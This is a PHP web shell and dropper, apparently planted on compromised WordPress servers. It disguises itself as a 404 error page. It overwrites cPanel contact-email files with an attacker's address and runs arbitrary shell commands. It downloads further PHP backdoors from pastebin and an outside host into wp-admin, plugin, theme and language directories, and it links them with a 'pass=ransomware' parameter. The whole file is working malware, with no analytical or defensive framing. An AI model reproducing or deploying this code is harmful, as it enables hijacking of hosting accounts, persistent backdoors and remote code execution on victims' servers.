mgharba_zwamal

$azerty = $_SERVER["SERVER_NAME"];
$abcd = dirname($_SERVER["PHP_SELF"]);
$sexterss = $azerty.$abcd;
$azzouz = $_SERVER['HTTP_HOST'];
echo'<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL files was not found on this server.</p><h2 hidden>rotinabox@hotmail.com</h2>
<p>Additionally, a 404 error Not Found was encountered while trying to use an ErrorDocument to handle the request.</p>';
$filt = getcwd();
$fuck = explode("/",$filt);
$user = $fuck[2];
$email = "dexterkh1212x@gmail.com";
$wr = 'email:'.$email;
$f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w');
fwrite($f, $wr);fclose($f);$f = fopen('/home/'.$user.'/.contactinfo', 'w');fwrite($f, $wr); fclose($f);
if(isset($_GET['user'])){echo "<br><br><font color='red'>$user</font><br><br>";}
if(isset($_GET['kill'])){$a = basename($_SERVER['SCRIPT_NAME']);echo "<br><font color='blue'>GIF89a</font>";unlink($a);}
function exe($cmd) {
	if(function_exists("system")) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	} elseif(function_exists("exec")) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result) {
			$buff .= $result;
		} return $buff;
	} elseif(function_exists("passthru")) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	} elseif(function_exists("shell_exec")) {
		$buff = @shell_exec($cmd);
		return $buff;
	}
}
$input = array('leopard','lion','male','cock','drake','penguin','quail','rat','serval','swan','bear','baboon','alpaca','zebra','yak','wolf','turkey','toad','baby','calf','cria','chick','fawn','pup','kit','nymph','swarm');
$rand_keys = array_rand($input, 2);
$random = $input[$rand_keys[0]];
$leaf = $random;
$system = $random;
$tacos = $random;
if(isset($_GET['olux'])){
echo "<center>";
if(eregi("get",$_GET["olux"])){
$output = 'https://pastebin.com/raw/wL527WWg';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$output);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$a1=fopen('output.php','w');
fwrite($a1,$html);
$authorze = 'https://pastebin.com/raw/nxJA9qiA';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$authorze);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$a2=fopen('authorze.php','w');
fwrite($a2,$html);
$views = 'https://pastebin.com/raw/jWBjgLd2';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$views);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$a3=fopen('views.php','w');
fwrite($a3,$html);
echo "<a href="."http://$sexterss/authorze.php"." target="."_blank".">$sexterss/authorze.php"."</a><br>";
echo "<a href="."http://$sexterss/views.php?pass=ransomware"." target="."_blank".">$sexterss/views.php?pass=ransomware"."</a><br>";
echo "<a href="."http://$sexterss/output.php"." target="."_blank".">$sexterss/output.php"."</a><br>";
}
$sss=array('./','../','../../','../../../','../../../../','../../../../../','../../../../../../');
foreach($sss as $pa){
if(eregi("mailer",$_GET["olux"])){
$p1=array("$pa/wp-admin/user/");
foreach($p1 as $path){
if (file_exists("$path")){
$print = $path.$leaf.rand(999, 123).".php";
$url = 'https://pastebin.com/raw/jWBjgLd2';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$url);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$save=fopen($print,'w');
fwrite($save,$html);
$print = "__$print";
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
echo "<a href="."http://$azzouz/$print?pass=ransomware"." target="."_blank".">$azzouz/$print"."</a><br>";
break;
}
$p2=array("$pa/wp-content/plugins/");
foreach($p2 as $path){
if (file_exists("$path")){
$print = $path.$leaf.rand(999, 123).".php";
$url = 'https://pastebin.com/raw/jWBjgLd2';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$url);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$save=fopen($print,'w');
fwrite($save,$html);
$print = "__$print";
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
echo "<a href="."http://$azzouz/$print?pass=ransomware"." target="."_blank".">$azzouz/$print"."</a><br>";
}}
}}
//////
if(eregi("shell1",$_GET["olux"])){
$p3=array("$pa/wp-admin/network/");
foreach($p3 as $path){
if (file_exists("$path")){
$print = $path.$system.rand(999, 123).".php";
$url = 'https://pastebin.com/raw/nxJA9qiA';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$url);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$save=fopen($print,'w');
fwrite($save,$html);
$print = "__$print";
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
echo "<a href="."http://$azzouz/$print"." target="."_blank".">$azzouz/$print"."</a><br>";
break;
}
$p4=array("$pa/wp-content/languages/");
foreach($p4 as $path){
if (file_exists("$path")){
$print = $path.$system.rand(999, 123).".php";
$url = 'https://pastebin.com/raw/nxJA9qiA';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$url);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$save=fopen($print,'w');
fwrite($save,$html);
$print = "__$print";
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
echo "<a href="."http://$azzouz/$print"." target="."_blank".">$azzouz/$print"."</a><br>";
}}
}}
//////
$p5=array("$pa/wp-content/themes/");
if(eregi("shell2",$_GET["olux"])){
foreach($p5 as $path){
if (file_exists("$path")){
$print = $path.$tacos.rand(999, 123).".php";
$url = 'https://pastebin.com/raw/wL527WWg';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$url);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$save=fopen($print,'w');
fwrite($save,$html);
$print = "__$print";
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
echo "<a href="."http://$azzouz/$print"." target="."_blank".">$azzouz/$print"."</a><br>";
break;
}
$p6=array("$pa/wp-admin/");
foreach($p6 as $path){
if (file_exists("$path")){
$print = $path.$tacos.rand(999, 123).".php";
$url = 'https://pastebin.com/raw/wL527WWg';
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$url);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$html = curl_exec($st);
curl_close($st);
$save=fopen($print,'w');
fwrite($save,$html);
$print = "__$print";
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
echo "<a href="."http://$azzouz/$print"." target="."_blank".">$azzouz/$print"."</a><br>";
}}
}
}
}
if(eregi("unzip",$_GET["olux"])){
exe("wget http://batut.com.ua/misc/farbtastic/ms-authorze.zip");
exe("unzip ms-authorze.zip");
echo "<a href="."http://$sexterss/wp-authorze.php"." target="."_blank".">$sexterss/wp-authorze.php"."</a><br>";
echo "<a href="."http://$sexterss/wp-views.php?pass=ransomware"." target="."_blank".">$sexterss/wp-views.php?pass=ransomware"."</a><br>";
echo "<a href="."http://$sexterss/wp-output.php"." target="."_blank".">$sexterss/wp-output.php"."</a><br>";
unlink("ms-authorze.zip");
echo "</center>";
}
}